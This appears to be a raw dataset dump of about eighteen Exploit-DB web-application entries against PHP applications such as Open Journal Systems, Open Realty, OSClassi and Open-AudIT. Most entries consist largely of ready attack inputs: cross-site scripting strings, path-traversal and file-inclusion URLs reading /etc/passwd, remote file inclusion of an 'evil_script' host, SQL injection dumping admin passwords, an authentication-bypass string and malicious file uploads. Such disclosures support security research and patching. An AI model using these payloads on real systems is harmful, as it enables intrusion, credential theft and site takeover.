deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36999
Description: Open Journal Systems (OJS) 2.3.6 - 'index.php?authors[][url]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-21
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/52666/info
 
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
 
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
 
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected. 

On the submissions page URL:
http://www.example.com/index.php/[journal]/author/submit/3?articleId=[id]
the attacker should add a malicious code to the "URL" field:
"><script>alert(document.cookie)</script>
the XSS will be displayed here:
http://www.example.com/index.php/[submission]/author/submission/[id]
Exploit-DB #37002
Description: Open Journal Systems (OJS) 2.3.6 - 'rfiles.php' Traversal Arbitrary File Manipulation
Type: webapps
Platform: php
Date: 2012-03-21
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/52666/info
    
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
    
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
    
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected. 

http://www.example.com/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en& param=delete|/../../../../../../../../../../../../../../../../../../../temp/file_to_delete

Arbitrary File Renaming:
http://www.example.com/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en& param=rename|file.jpg|file.php%00.jpg
http://www.example.com/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=en& param=rename|/../../../../../../../../../../../../../../../../../../../tmp/file_to_move|1x.jpg
Exploit-DB #37001
Description: Open Journal Systems (OJS) 2.3.6 - Multiple Script Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-03-21
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/52666/info
   
Open Journal Systems is prone to following multiple vulnerabilities because the software fails to sufficiently sanitize user-supplied input:
   
1. An arbitrary-file-deletion vulnerability
2. A security vulnerability
3. An arbitrary-file-upload vulnerability
4. Multiple cross-site scripting vulnerabilities
   
An attacker may leverage these issues to execute arbitrary script code, upload arbitrary files, and execute arbitrary code with administrative privileges. These issues may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
   
Open Journal Systems 2.3.6 is vulnerable; other versions may also be affected. 

Malicious registered user shall start a new Submission:
http://www.example.com/index.php/[journal]/author/submit/1
on the second step of the Submission:
http://www.example.com/index.php/[journal]/author/submit/2?articleId=14
the user should upload test.pHp, test.asp, test.cgi, test.php3 or test.html file. The uploaded file will be available on the following URL:
http://www.example.com/files/journals/[journalid]/articles/[articleid]/submission/original/[newfilename]
The original file name will be changed, however it will be displayed to the user after upload (for example "16-28-1-SM.pHp"). File extension will remain the same.
Exploit-DB #2609
Description: Open Meetings Filing Application - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-21
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Open Meetings Filing Application (PROJECT_ROOT) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include_once($PROJECT_ROOT."/inc/session.php");
include_once($PROJECT_ROOT."/inc/user.php");    
include_once($PROJECT_ROOT."/inc/entities.php");    
include_once($PROJECT_ROOT."/inc/openMeetingsDB.php");


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/editmeetings/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/email/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/entityproperties/session.php?PROJECT_ROOT=http://evil_script?
http://www.hedef.com/[script_path]/inc/mail.php?PROJECT_ROOT=http://evil_script?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1k4t, x_w0x, DJR, Sh0ck mdx, ERNE:)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down:http://www.gocc.gov/groups/RI_SOS/software/files/OpenMtgsFiling.zip

# milw0rm.com [2006-10-21]
Exploit-DB #37936
Description: Open Realty - 'select_users_lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-10-06
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/55834/info

Open Realty is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Open Realty 2.5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/open-realty2.5.6/index.php?select_users_lang=../../../../../../../boot.ini%00
Exploit-DB #36910
Description: Open Realty 2.5.x - 'select_users_template' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-05
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/52296/info

Open Realty is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Open Realty version 2.5.8 is vulnerable; other versions may also be affected. 

http://www.example.com/open-realty2.5.8/?select_users_template=../../../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #14459
Description: Open Realty 2.x/3.x - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-24
Author: K053

Exploit:
# Title: persistence XSS flaw in Open Realty 2.x and 3.x
# Author: K053  <K053.dev0te3 at gmail>
# Date: 2010-7-24
# Hompage: http://open-realty.org
# Download Link: http://www.open-realty.org/download.html
# Version: 3.x & 2.x < seems all version >
======================================================================================================
Detail :
========

	function save_search(){
	   ...
	   ...
	   
	   // $title contain user supplied serach result name which save in DB without any input validation
	   
	   if ($num_columns == 0) {
			$sql = "INSERT INTO " . $config['table_prefix'] . "usersavedsearches 
			(userdb_id, usersavedsearches_title, usersavedsearches_query_string,
			usersavedsearches_last_viewed,usersavedsearches_new_listings,usersavedsearches_notify)
			VALUES ($userID, $title, $query,now(),0, $notify)";
	   ...
	   ...
	}
	function view_saved_searches()
	{
       ...  
	   ...
	   else {   
	          		while (!$recordSet->EOF) {
					$title = $misc->make_db_unsafe($recordSet->fields['usersavedsearches_title']);
					if ($title == '') {
						$title = $lang['saved_search'];
					}
					$display .= '<a href="index.php?action=searchresults&' . $misc->make_db_unsafe
					($recordSet->fields['usersavedsearches_query_string']) . '">' . $title . '</a> 
					   <div class="note"><a href="index.php?action=delete_search&
					searchID=' . $misc->make_db_unsafe($recordSet->fields['usersavedsearches_id']) . '" 
					onclick="return confirmDelete()">' . $lang['delete_search'] . '</a></div><br /><br />';

					$recordSet->MoveNext();
				}
			}
		}else {
			$display = $status;
		}
		
		// and no output validation, $display passed immediately 
		
		return $display;
======================================================================================================
POC :
=====
load http://address/index.php?action=save_search   < note some parameter set by passed url >
in textbox enter <script>alert(0)</scritp>.

load http://address/index.php?action=view_saved_searches  to view result
______________________________________________________________________________________________________
~Blackout Frenzy [http://b0f.ir]
Exploit-DB #25650
Description: Open Solution Quick.Cart 0.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-11
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13599/info

Quick.Cart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue is reported to affect Quick.Cart version 0.3.0; other versions may also be affected. 

http://www.example.com/?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/index.php?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #11496
Description: Open Source Classifieds 1.1.0 Alpha (OSClassi) - SQL Injection / Cross-Site Scripting / Arbitrary Admin Change
Type: webapps
Platform: php
Date: 2010-02-18
Author: Sioma Labs

Exploit:
 __ _                           __       _         
/ _(_) ___  _ __ ___   __ _    / /  __ _| |__  ___ 
\ \| |/ _ \| '_ ` _ \ / _` |  / /  / _` | '_ \/ __|
_\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \
\__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/
========================================================================================
Open Source Classifieds (OSClassi) SQLi/Xss/Arbitrary Admin Change Multi Vulnerabilities
----------------------------------------------------------------------------------------
- Site 		: http://osclass.org/                                                   
- Download  : http://sourceforge.net/projects/osclass/files/
- Author 	: Sioma Labs
- Version 	: 1.1.0 Alpha
- Tested on : WIndows XP SP2 (WAMP)

[-------------------------------------------------------------------------------------------------------------------------]

MYSQL Injection 
===============
POC
http://server/item.php?id=[SQLi]

Basic Info
http://server/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(CHAR(32,58,32),user(),database(),version())--

Admin ID,Username,Password
http://server/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from oc_admin--

User ID,UserName,Password
http://server/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from+oc_user--

[-------------------------------------------------------------------------------------------------------------------------]
Cross Site Scripting
====================

Xss Source Review (item.php)
------------------------------

1st Xss item.php 
[+]  To Work This You need to Have A iteam already posted (http://server/item.php?action=post)
------------------------------
	case 'add_comment':
		dbExec("INSERT INTO %sitem_comment (item_id, author_name, author_email, body) VALUES (%d, '%s', '%s', '%s')", 
			DB_TABLE_PREFIX, $_POST['id'], $_POST['authorName'], $_POST['authorEmail'], $_POST['body']);
		header('Location: item.php?id=' . $_POST['id']);
		break;
	case 'post':
------------------------------

[+] Put This c0de in to the comment box
"><script>alert(String.fromCharCode(88, 83, 83));</script>

-------------------------------

2nd Xss (search.php)
---------------------------------
$pattern = $_GET['pattern'];
--------------------------------

POC
http://server/search.php?pattern=[Xss]
Exploit
http://server/search.php?pattern=<script>alert(String.fromCharCode(88, 83, 83));</script>

[-------------------------------------------------------------------------------------------------------------------------]

[-------------------------------------------------------------------------------------------------------------------------]
# http://siomalabs.com [Sioma Labs]
# Sioma Agent 154
Exploit-DB #39868
Description: Open Source Real Estate Script 3.6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-05-30
Author: Meisam Monsef

Exploit:
# Exploit Title: real-estate classified script Sql Injection
# Date: 2015-05-29
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage:
http://www.phpscriptsmall.com/product/open-source-real-estate-script/
# Version: 3.6.0


Exploit :
http://server/[path]/contact_view.php?contact=-99999+[SQl+Command]

Test :
http://server/contact_view.php?contact=-25527%27+/*!50000union*/+select+1,2,3,4,5,6,7,8,9,10,11,10,13,14,15,16,17,18,19,20,username,22,password,24,25,26,27,28,29,30,31,32,33,34,35,36,37+/*!50000from*/+/*!50000admin_login*/%23

Admin Panel : http://server/admin/
Exploit-DB #41047
Description: Open Source Real-Estate Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Admin Login Bypass
# Date: 13.01.2017
# Vendor Homepage: http://phprealestatescript.org/
# Script Name: Open Source Real-Estate Script
# Script Buy Now: http://phprealestatescript.org/open-source-real-estate-script.html
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# SQL Injection/Exploit :
# http://localhost/[PATH]/viewpropertydetails.php?id=[SQL]
# 
# Admin Login Bypass
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #45693
Description: Open STA Manager 2.3 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2018-10-25
Author: Ihsan Sencan

Exploit:
# Exploit Title: Open STA Manager 2.3 - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.openstamanager.com/
# Software Link: https://sourceforge.net/projects/openstamanager/files/latest/download
# Version: 2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/modules/backup/actions.php?op=getfile&file=[FILE]
# 
# Technicians, Agents, Customers users group can run sql codes.
# 
# /* `exploitdb`.`zz_users` */
$zz_users = array(
  array('idutente' => '2','username' => 'efeefeefe','password' => '$2y$10$pesWR2SHoxriSupiXsBwX.tTFdsjk9XuJoZAS/L5thFUt97LMLiyu','email' => 'efe@omerefe.com','idanagrafica' => '0','idtipoanagrafica' => '0','idgruppo' => '4','enabled' => '1','created_at' => '2018-10-25 09:30:33','updated_at' => '2018-10-25 09:32:09')
);
# 
# /[PATH]/modules/backup/actions.php
# ....
# 05 switch (filter('op')) {
# 06 case 'getfile':
# 07 	$file = filter('file');
# 08 
# 09 	force_download($file, file_get_contents($backup_dir.$file));
# 10 
# 11 	break;
# ....

GET /[PATH]/modules/backup/actions.php?op=getfile&file=../../../../../Windows/win.ini HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=lt998mh6qs6qq2d7daj9ogdoa0
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 25 Oct 2018 09:43:40 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0, private
Pragma: public
Content-Disposition: attachment; filename="win.ini";
Content-Transfer-Encoding: binary
Content-Length: 564
X-Robots-Tag: noindex
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #3838
Description: Open Translation Engine (OTE) 0.7.8 - 'header.php?ote_home' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-03
Author: GoLd_M

Exploit:
# Open Translation Engine (OTE) 0.7.8 (header.php ote_home)Remote File Include
# D.Script: http://heanet.dl.sourceforge.net/sourceforge/ote/ote.0.7.8.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/skins/header.php?ote_home=Shell
# Greetz To: Tryag-Team .....##

# milw0rm.com [2007-05-03]
Exploit-DB #11903
Description: Open Web Analytics 1.2.3 - Multiple File Inclusions
Type: webapps
Platform: php
Date: 2010-03-27
Author: ITSecTeam

Exploit:
===========================================================================
( #Topic    : Open Web Analytics 1.2.3
( #Bug type : multi file include
( #Download : http://downloads.openwebanalytics.com/owa/owa_1_2_3.tar
( #Advisory : 
===========================================================================
( #Author : ItSecTeam
( #Email  : Bug@ITSecTeam.com
( #Website: http://www.itsecteam.com
( #Forum  : http://forum.ITSecTeam.com
( #Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability26.htm
( #Special Tnx : ahmadbady , M3hr@n.S And All Team Members!

vuls:===================================================================
path/mw_plugin.php

require_once "$IP/includes/SpecialPage.php";   

exploit:===================================================================

rfi : path/mw_plugin.php?IP=shell.txt?

lfi :path/index.php?owa_action=[lfi]%00
lfi :path/index.php?owa_do=[lfi]%00
--------------------------------------
Exploit-DB #48516
Description: Open-AudIT 3.3.0 - Reflective Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2020-05-26
Author: Kamaljeet Kumar

Exploit:
# Exploit Title: Open-AudIT 3.3.0 - Reflective Cross-Site Scripting (Authenticated)
# Date: 2020-04-26
# Exploit Author: Kamaljeet Kumar 
# Vendor Homepage: https://opmantek.com/network-discovery-inventory-software/
# Software Link: https://www.open-audit.org/downloads.php
# Version: 3.3.0
# CVE : CVE-2020-12261
# POC:
Step 1: Login to Open-Audit
Step 2: Go to "http://192.168.0.4/open-audit/index.php/search/" and add this "<svg><animate onend=alert(1) attributeName=x dur=1s>" payload after the search, the URL look like: http://192.168.0.4/open-audit/index.php/search/<svg><animate onend=alert(1) attributeName=x dur=1s>

Then we get the XSS pop up.
Exploit-DB #50651
Description: Open-AudIT Community 4.2.0 - Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2022-01-10
Author: Dominic Clark

Exploit:
# Exploit Title: Open-AudIT Community 4.2.0 - Cross-Site Scripting (XSS) (Authenticated)
# Date: 01/11/2021
# Exploit Author: Dominic Clark (parzival)
# Vendor Homepage: https://opmantek.com/
# Software Link: https://www.open-audit.org/downloads.php
# Category: WebApps
# Version: <= 4.2.0
# Tested on: Windows 10
# CVE: CVE-2021-44916

# 1. Vendor Description
# Open-AudIT is an application to tell you exactly what is on your network, how it is configured and when it changes.
# Essentially, Open-AudIT is a database of information, that can be queried via a web interface.
# Open-AudIT will run on both Windows and Linux systems. 

# 2. Technical Description
# There is an issue with link creation in the GUI with Open-AudIT Community.
# If a bad value is passed to the routine via a URL, javascript code can be executed.
# This requires the user be logged in to Open-AudIT Community to trigger.

# 3. Proof of Concept
# Step 1: Login to Open-AudIT via the login page (default credentials are admin/password)
# Step 2: Enter one of the following PoC URLs, this issue was observed to occur any time there is a file available to be imported: (e.g., http://localhost/open-audit/index.php/attributes/import)

Vulnerable URL 1: "http://localhost/open-audit/index.php/discoveries/import%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22"
Vulnerable URL 2: "http://localhost/open-audit/index.php/credentials/import%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22"

# Step 3: Observe that the payload successfully executes and a popup is displayed. 
# This vulnerability can be exploited in conjuction with a social engineering attack to potentially obtain sensitive information such a users session cookie.

# 4. Remediation
# Apply the recommended workarounds and mitigations provided by Opmantek.
# https://community.opmantek.com/display/OA/Errata+-+4.2.0+and+earlier+Javascript+vulnerability
Exploit-DB #44354
Description: Open-AuditIT Professional 2.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-03-28
Author: Nilesh Sapariya

Exploit:
# Exploit Title: Open-AuditIT Professional 2.1 - Stored Cross site scripting (XSS)
# Date: 27-03-2018
# Exploit Author: Nilesh Sapariya
# Contact: https://twitter.com/nilesh_loganx
# Website: https://nileshsapariya.blogspot.com
# Vendor Homepage: https://www.open-audit.org/
# Version: 2.1
# CVE : CVE-2018-8903
# Category: Webapp Open-AuditIT Professional 2.1


1. Description:-
 It was observed that attacker is able to inject a malicious script in the
Application. As server is not filtering the inputs provided by an attacker
and the script executes in the victim browser when he tries to visit the
page


2. Proof of Concept
Login into Open-AuditIT Professional 2.1
1] Go to Home ==> Credentials
2] Enter XSS payload in Name and Description Field
"><img src=x onerror=alert(1337);>
3] Click on Submit
Visi this page :-
http://localhost/omk/open-audit/credentials

​​3] POCs and steps:
https://nileshsapariya.blogspot.ae/2018/03/csrf-to-xss-open-auditit-professional-21.html